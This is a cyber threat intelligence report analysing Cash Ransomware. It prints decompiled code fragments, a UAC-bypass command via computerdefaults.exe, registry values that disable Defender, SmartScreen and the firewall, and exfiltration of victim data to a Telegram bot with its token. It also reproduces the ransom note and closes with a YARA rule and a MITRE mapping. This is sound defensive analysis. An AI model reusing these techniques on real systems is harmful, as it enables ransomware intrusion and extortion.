

ECT40

CYBER THREAT INTELLIGENCE



CASH RANSOMWARE

TECHNICAL ANALYSIS REPORT

Contents

Execution Summary	2
Targeted Countries and Sectors	3
Technical Analysis.....	4
Rules	12
YARA.....	12
MITRE ATT&CK Table	13

Execution Summary

Cash Ransomware has recently become a significant threat to organisations. In these attacks, cybercriminals encrypt victims' data and demand a ransom. In 2024, this threat continues to increase, attackers have become more sophisticated and ransom demands have increased. Although Cash Ransomware targets various sectors, it mostly targets healthcare, education, public and financial institutions. These sectors are areas with a high concentration of sensitive and critical data, which makes them attractive to attackers. The cost of Cash Ransomware attacks to organisations is quite high. These costs include: ransom payments, data recovery costs, business interruption and loss of reputation. These costs include high ransom amounts paid to regain access to data, expenses incurred to recover encrypted data, operational disruptions caused by attacks, and damage to customer confidence.

Attackers often infiltrate systems using phishing emails or vulnerabilities, so it is vital that security patches are applied quickly and awareness training is conducted regularly. Data encryption and data loss prevention (DLP) solutions play a critical role in improving data security. In addition, incident response teams should be ready and procedures should be established to take quick action in case of an attack. Organisations should continuously update their defence strategies against ransomware attacks and closely follow developments in the field of cyber security.

Targeted Countries and Sectors



Target Countries

- United States of America
- Canada
- Australia
- European States

Target Sectors:

- **Healthcare:** The healthcare industry is particularly vulnerable to Cash Ransomware attacks due to its sensitive data and dependence on critical systems. Cash Ransomware attacks can shut down hospitals and other healthcare providers and jeopardise patients' lives.
- **Education:** Educational institutions are also vulnerable to Cash Ransomware attacks. These attacks can shut down schools and universities and disrupt students' education.
- **Public:** Public institutions are also vulnerable to Cash Ransomware attacks. These attacks can disrupt government services and deprive citizens of important services.
- **Financial:** Financial institutions are also vulnerable to Cash Ransomware attacks. These attacks can shut down banks and other financial institutions and jeopardise the stability of the financial system.
- **Retail:** Retail organisations are also vulnerable to Cash Ransomware attacks. These attacks can close stores and disrupt businesses.

Technical Analysis

MD5	71f0e2645d9051c3a8f5cf2dbce9d074
SHA256	132ef1a933f9d26fb0bb46b0a970dbfe05ad8fe0859ece8eb973b5584a580cc3
File Type	PE32 - EXE

```
IL_0A:  
num = 2;  
string value = currentCulture.Name.Substring(checked(currentCulture.Name.Length - 2));  
IL_26:  
num = 3;
```

Figure 1 Gathering Culture Informations

It was observed that the malware extracted language information according to ISO 639-1 standard. The extracted language information is compared with the country whitelist below.

RU	Rusya (Russia)
UA	Ukrayna (Ukraine)
BY	Belarus (Belarus)
KZ	Kazakistan (Kazakhstan)
AM	Ermenistan (Armenia)
AZ	Azerbaycan (Azerbaijan)
GE	Gürcistan (Georgia)
MD	Moldova (Moldova)
TJ	Tacikistan (Tajikistan)
TM	Türkmenistan (Turkmenistan)
UZ	Özbekistan (Uzbekistan)
KG	Kırgızistan (Kyrgyzstan)

Figure 2 Country Whitelist

```
113 // Token: 0x06000EC8 RID: 3784 RVA: 0x0004DB1B File Offset: 0x0004BD1B
114 [__DynamicallyInvokable]
115 public static WebRequest Create(string requestUriString)
116 {
117     if (requestUriString == null)
118     {
119         throw new ArgumentNullException("requestUriString");
120     }
121     return WebRequest.Create(new Uri(requestUriString), false);
122 }
123 // Token: 0x06000EC9 RID: 3785 RVA: 0x0004DB37 File Offset: 0x0004BD37
124
```

100 %

Name	Value	Type
requestUriString	"https://worldtimeapi.org/api/ip"	string

Figure 3 Http GET Request

It was detected that an http GET request was sent to the url address **https://worldtimeapi.org/api/ip**. The response returned by the server is as follows:

```
{\"abbreviation\": \"+03\", \"client_ip\": \"81.215.12.165\", \"datetime\": \"2024-05-30T23:26:52.061587+03:00\", \"day_of_week\": 4, \"day_of_year\": 151, \"dst\": false, \"dst_from\": null, \"dst_offset\": 0, \"dst_until\": null, \"raw_offset\": 10800, \"timezone\": \"Europe/Istanbul\", \"unixtime\": 1717100812, \"utc_datetime\": \"2024-05-30T20:26:52.061587+00:00\", \"utc_offset\": \"+03:00\", \"week_number\": 22}
```

```
// Token: 0x060001F5 RID: 501 RVA: 0x0001D824 File Offset: 0x0001BA24
public static bool wkdMrtbqV8()
{
    bool result;
    try
    {
        result = new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
    }
    catch (Exception ex)
    {
        Debug.WriteLine(ex.Message);
    }
    return result;
}
```

// Token: 0x060001F6 RID: 502 RVA: 0x0001D880 File Offset: 0x0001BA80

Figure 4 Checking Process Privilege

It is checked whether the programme is run as administrator. If the program is not run as administrator, the computerdefaults.exe file is abused to elevate privileges.

```
try
{
    Process.Start(new ProcessStartInfo
    {
        CreateNoWindow = true,
        UseShellExecute = false,
        FileName = Vv13mEG6cGeE9nZjW7k.IZ2WcjIRAW(-1927754042 ^ -869071149 ^ <Module>{5c6c94c7-27df-4a85-a194-
        bd910772ca32}.m_d1540495c73f47b1b261e242bd686465.m_1330aec7c4754552bb869387f4c2069f),
        Arguments = Vv13mEG6cGeE9nZjW7k.IZ2WcjIRAW(571665158 >> 2 ^ 699882016 ^ <Module>{5c6c94c7-27df-4a85-a194-
        bd910772ca32}.m_d1540495c73f47b1b261e242bd686465.m_3bcd4b23212243d78a11a6cb99636708)
    });
}
```

Figure 5 Start computerdefaults.exe

Oluşturulan process yapısının komut satırı aşağıdaki gibidir:

- cmd.exe "/c start computerdefaults.exe && powershell.exe Remove-Item -Path HKCU:\Software\Classes\ms-settings\shell -Recurse"

```
94     num = 7;
95     DateTime t = Conversions.ToDateTime(TArukWGeReCbtW9Jbdq.HiZGmlwjvE);
96     IL_22C:
97     num = 8;
98     DateTime t2 = sXhrbvcQLNBC2xfXIKs.OuLc7kJpnv(Fxxx71MZ0qmF1bCJK9M.xbIM2rQS3o());
99     IL_23A:
100    num = 9;
101    bool flag = objectValue != null && objectValue is bool && (bool)objectValue;
```

Name	Value	Type
keyName	@\"HKEY_CURRENT_USER\SOFTWARE\Google\"	string
valueName	"Shell"	string
objectValue	null	object
TArukWGeReCbtW9Jbdq.HiZGmlwjvE	"5/4/2025 8:04:42 AM"	string

Figure 6 Deadline Control

It has been observed that the pest has set a working period for its operation. This period is specified as 04.05.2025. Comparison is made by taking instant time information at the time of operation.

```
num = 23;
Fxxx71MZ0qmF1bCJK9M.CdtGGptjPU = new Mutex(true, TArukWGeReCbtW9Jbdq.RvnGREHxxc, ref flag4);
IL_357:
num = 24;
bool flag5 = !flag4;
```

Name	Value	Type
rukWGeReCbtW9Jbdq.RvnGREHxxc	"pGAIP95iDa9WwV5F"	string

Figure 7 Create Mutex

A mutex named '**pGAIP95iDa9WwV5F**' was created.

```
public static bool oQwANPbAq8()  
{  
    try  
    {  
        long ticks = DateTime.Now.Ticks;  
        Thread.Sleep(10);  
        bool flag = checked(DateTime.Now.Ticks - ticks) < 10L;  
        if (flag)  
        {  
            return true;  
        }  
    }  
    catch (Exception ex)  
    {  
    }  
    return false;  
}
```

Figure 8 Time Based Anti-Debug

Time-based anti debug technique was detected.

```
// Token: 0x06000055 RID: 85  
[DllImport("kernel32.dll", EntryPoint = "CheckRemoteDebuggerPresent", ExactSpelling = true, SetLastError = true)]  
private static extern bool Us0Ah8VJ99(IntPtr \u0020, ref bool \u0020);
```

Figure 9 CheckRemoteDebuggerPresent

It was detected that an anti debug technique was used with **CheckRemoteDebuggerPresent**.

```
// Token: 0x060001F1 RID: 497 RVA: 0x0001D278 File Offset: 0x0001B478  
public static void XEMM19b4xX(string \u0020, string \u0020, string \u0020, RegistryValueKind \u0020, object \u0020)  
{  
    using (RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0020, true))  
    {  
        bool flag = registryKey != null;  
        if (flag)  
        {  
            RegistryKey registryKey2 = registryKey.OpenSubKey(\u0020, true);  
        }  
    }  
}
```

Value	Type
@\HKLM\SOFTWARE\Policies\Microsoft\Windows\System	string
"GroupPolicyRefresh"	string
"TimeOffsetDC"	string
DWord	Microsoft.Win32.RegistryValueKind

Figure 10 Registry Operations

As seen in the LockBit 3.0 family, it was observed with some registry operations that the values for the group Policy refresh time were changed, the SmartScreen feature was disabled and Windows Defender was disabled. Related registry keys are below:

- HKLM\SOFTWARE\Policies\Microsoft\Windows\System
 - "GroupPolicyRefresh"
 - "TimeOffsetDC"
 - "EnableSmartScreen"
 - "del.ShellSmartScreenLevel"
- HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
 - "DisableAntiSpyware"
 - "DisableRoutinelyTakingAction"
- HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
 - "DisableRealtimeMonitoring"
- HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
 - "DisableBehaviorMonitoring"
- HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet
 - "SubmitSamplesConsent"
- HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet
 - "SpynetReporting"
- HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile
 - "EnableFirewall"
- HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile
 - "EnableFirewall"

```
for (int i = 1; i <= patgrnfP2k; i++)
{
    IL_C6F:
    num = 76;
    int index = random.Next(0, TArukwGeReCbtW9Jbdq.SnsG0m0YvS.Length);
    IL_C86:
    num = 77;
    char value2 = TArukwGeReCbtW9Jbdq.SnsG0m0YvS[index];
    IL_C97:
    num = 78;
    stringBuilder.Append(value2);
    IL_CA4:
    num = 79;
}
IL_CB6:
num = 80;
string input = stringBuilder.ToString();
```

Figure 11 Create Victim ID

Along with a 20 character long random string, victim_id was created by pulling the device serial number information.

```
public static DriveInfo[] GetDrives()
{
    string[] logicalDrives = Directory.GetLogicalDrives();
    DriveInfo[] array = new DriveInfo[logicalDrives.Length];
    for (int i = 0; i < logicalDrives.Length; i++)
    {
        array[i] = new DriveInfo(logicalDrives[i]);
    }
    return array;
}
```

Figure 12 Get Drivers

It was detected that the list of drives on the device was pulled. It was found that some special directories were checked on these drives:

- %AppData%
- %AppData%\Local%
- %User%
- %MyMusic%
- %Personal%
- %Desktop%
- %CommonProgramFiles%
- %AdminTools%
- %NetworkShortcuts%
- %PrinterShortcut%

```
foreach (string u19 in Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles)))
{
    IL_46DD:
    num = 697;
    IEnumerator enumerator43 = ((IEnumerable)Fxxx71MZ0qmF1bCJK9M.kLkM68M6to(u19)).GetEnumerator();
    while (enumerator43.MoveNext())
    {
        object value44 = enumerator43.Current;
        string text47 = Conversions.ToString(value44);
        IL_4719:
        num = 698;
        bool flag152 = Operators.CompareString(text47, null, false) == 0;
        if (flag152)
        {
            IL_4740:;
        }
        else
        {
            IL_4747:
            num = 700;
            bool flag153 = !UnknownF1.listenc.Contains(text47);
            if (flag153)
            {
                IL_4771:
                num = 701;
                UnknownF1.listenc.Add(text47);
                IL_4788:;
            }
        }
    }
}
```

Figure 13 Collect Specific Folders

The paths of files under certain sequences are added to the lists. These lists are then used for file encryption.

```
num = 773;  
string text54 = Path.GetTempPath() + Vv13mEG6cGeE9nZjW7k.IZ2WcjIRAW(~-351647648 ^ 325490259 ^ <Module>{5c6c94c7-27df-4a85-a194-  
bd910772ca32}.m_d1540495c73f47b1b261e242bd686465.m_1eba8a581e0b4297a65a3282ed86b1d6);  
IL_4FE8:  
[...]  
Value | Type  
-----|-----  
@"C:\Users\... \AppData\Local\Temp\Cash.img" | string
```

Figure 14 Cash.img Create

The background image was extracted from the sources and saved in the temp directory as Cahs.img.

```
string localIPAddress = this.GetLocalIPAddress();  
string externalIPAddress = this.GetExternalIPAddress();  
string antivirusName = this.GetAntivirusName();  
string macAddress = UnknownF1.GetMacAddress();  
string pcname = UnknownF1.GetPCName();  
string username = UnknownF1.GetUsername();  
string countryName = this.GetCountryName();  
string ipAddress = this.p0KUilet5();  
string countryCode = this.GetCountryCode(ipAddress);  
string text = this.Y9tUcMxaOI(countryCode);  
this.TelegramBot(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(string.C  
{  
Vv13mEG6cGeE9nZjW7k.IZ2WcjIRAW(503391733 ^ 1845540633 ^ <Module>{5c6c94c7-27df-4a85-a194-  
bd910772ca32}.m_d1540495c73f47b1b261e242bd686465.m_220859612ddf401e804da7c3c536ce21),  
TArukwGeReCbtW9Jbdq.zGUGtRse52,  
Vv13mEG6cGeE9nZjW7k.IZ2WcjIRAW(2129507721 << 4 ^ -1940767186 ^ <Module>{5c6c94c7-27df-4a85-a194-  
bd910772ca32}.m_d1540495c73f47b1b261e242bd686465.m_4d32ba39ccc3445fadf803965f35080e),
```

Figure 15 Information Gathering

It was detected that the malware, which continues server communication during encryption, collects some information and delivers it to a telegram bot. Here is the Http packet information:

Telegram bot token information: bot5990276952:AAHb30fvIHOH_d1GRVKrpfW4CzDRfvvdMY
Method: sendDocument"
Packet Content:

```
CASH RANSOMWARE - New infected PC\r\nUser:  
<code>\r\n<victim_id></code>\r\n\r\nUsername: <>\r\nPC Name: <>\r\nLocal  
IP Address: <>\r\nExternal IP: \r\nMac Address: \r\n\r\nCountry Name:  
\r\nCountry Code: \r\nDateTime: \r\n\r\nAttempts: \r\nDecrypt Key:  
<code><decrypt key></code>
```

Immediately after the data submission process, the html file in the file sources is extracted. Then the HTML file is executed and a README message is given to the user.

ATTENTION!

YOUR FILES ARE ENCRYPTED BY Cash RANSOMWARE

Dear user, We regret to inform you that your files have been compromised by the insidious XChaCha20 encryption algorithm, your files have been ensnared with unbreakable tags and a deadly combination of Poly1305 or AES-256-GCM, meticulously chosen by the ransomware's constructors to ensure maximum devastation. To further fortify its grip on your data, Cash Ransomware employs a hybrid bulletproof encryption technique, rendering any attempts at decryption futile against its impenetrable defenses. Files bearing specific extensions have been singled out for priority encryption, ensuring that your most critical data is held captive, intensifying the fear and desperation of your predicament. As a final blow to any hopes of recovery, Cash Ransomware deploys a double-key encryption mechanism, thwarting any attempts at deception or circumvention, leaving you no recourse but to comply with its demands. In light of this harrowing situation, we implore you to refrain from taking any actions that may exacerbate the damage and worsen your plight.

Do not download antivirus software: Any attempts to combat Cash Ransomware with conventional means will only serve to alert its creators, potentially triggering further encryption or irreversible data loss. Do not disconnect from the network: Isolation will not shield you from the relentless reach of Cash Ransomware; instead, it may hinder potential avenues of negotiation or resolution. Do not reboot your systems: Restarting your devices could disrupt ongoing encryption processes, rendering your files irretrievable and sealing your fate in the clutches of this merciless malware.

We understand the gravity of your situation and stand ready to assist you in navigating this crisis. However, time is of the essence, and decisive action is imperative to mitigate the extent of the damage inflicted by Cash Ransomware.

82wWG5fHewqfwgJmIAZfWCHUDH5UDGxLdHT13RYBjTeTQEOlUvCoe4pANouNDWjBogTas0Yr37HzJHULYqFFVhH8t
Copy Monero

jumpy22@bpe.cash
Copy Email

200000\$
Copy Amount





Figure 16 README.html



Cash RANSOMWARE

YOUR FILES ARE ENCRYPTED BY CASH RANSOMWARE

What happend?

Language:

Kjære ceku, Vi beklager å informere deg om at filene dine har blitt kompromittert av det lumske Cash Ransomware-programmet. Denne hensynsløse skadelige programvaren har infiltrert systemet ditt, kryptert dine dyrebare data og holdt dem som gisler til kravene er oppfylt. Nedenfor er de skremmende detaljene om denne forferdelige situasjonen:

Rask skanning av lagringsstasjonene dine har blitt

How to decrypt my files?

Decrypt:

Your files are heavily encrypted, and none can be decrypted without the decryption key. To obtain the decryption key, you need to make a payment to the specified amount to the XMR / Monero wallet. Once you've made the payment, you should contact the attackers via email or Telegram to receive the decryption key. After receiving the decryption key, you need to input it into the decryption panel in Cash.

List of encrypted files

Encrypted files: **26603**

File Path


- C:\Users\ceku\NTUSER.DAT
- C:\Users\ceku\ntuser.dat.LOG1
- C:\Users\ceku\ntuser.dat.LOG2
- C:\Users\ceku\NTUSER.DAT(53b39e88-18c4-11ea-a811-000...
- C:\Users\ceku\NTUSER.DAT(53b39e88-18c4-11ea-a811-000...
- C:\Users\ceku\NTUSER.DAT(53b39e88-18c4-11ea-a811-000...
- C:\Users\ceku\ntuser.ini
- C:\Users\ceku\ghidra\ghidra_10.2.3_PUBLIC\application.log
- C:\Users\ceku\ghidra\ghidra_10.2.3_PUBLIC\FrontEndTool.x...

UNTIL FILES DELETED

63 Hours : 58 Minutes : 6 Seconds

Pay US

US: \$ 200000



82wWG5fHewqfwgJmIAZfWCHUDH
Copy

Only send Monero (XMR) to this address

Contact US

Get in touch using the contact provided below:

Contact:
jumpy22@bpe.cash

Copy

Figure 17 Counter

Rules

YARA

```
rule cashRansomware {
  meta:

    author = "Bilal BAKARTEPE"
    date = "27.05.2024"
    Hash = "71f0e2645d9051c3a8f5cf2dbce9d074"
  strings:
    $str1 = "ISbg00LQ2odQc9PIst"
    $str2 = "Hashtable"
    $str3 = "AES_Encrypt"
    $str4 = "SymmetricAlgorithm"
    $str5 = "EncryptRJ256"

    $opc1 = {00 06 16 28 55 00 00 0A 3A 57 00 00 00 11 04 20 FE 8C 5B 46 20 82 23
7B 77 61 7E 8A 01 00 04 7B 67 01 00 04 61 28 31 02 00 06 6F 53 00 00 0A 6F 33 00 00 0A
6F 56 00 00 0A 20 82 7C CF 05 20 02 00 00 00 62 20 5F DD 03 17 61 7E 8A 01 00 04 7B A2
01 00 04 61 28 31 02 00 06 6F 57 00 00 0A 3A 83 00 00 00 11 05 20 4E CB 12 81 20 02 00
00 00 63 20 07 95 02 90 61 7E 8A 01 00 04 7B}

  condition:
    uint16(0) == 0x5A4D and
    all of them
}
```

MITRE ATT&CK Table

Tactic	ID	Technic Name
Discovery	T1082	System Information Discovery
Execution	T1059.003	Command and Scripting Interpreter: Windows Command Shell
Persistence	T1543	Create or Modify System Process
Persistence	T1047	Create or Modify Systems
Persistence	T1486	Data Encrypted for Impact
Defense Evasion	T1112	Modify Registry
Defense Evasion	T1027	Obfuscated Files or Information
Command and Control	T1102	Web Service

A red hexagonal grid pattern is overlaid on a dark blue background, covering the entire page. The grid consists of interconnected lines forming a series of hexagons.

ECHO

CYBER THREAT INTELLIGENCE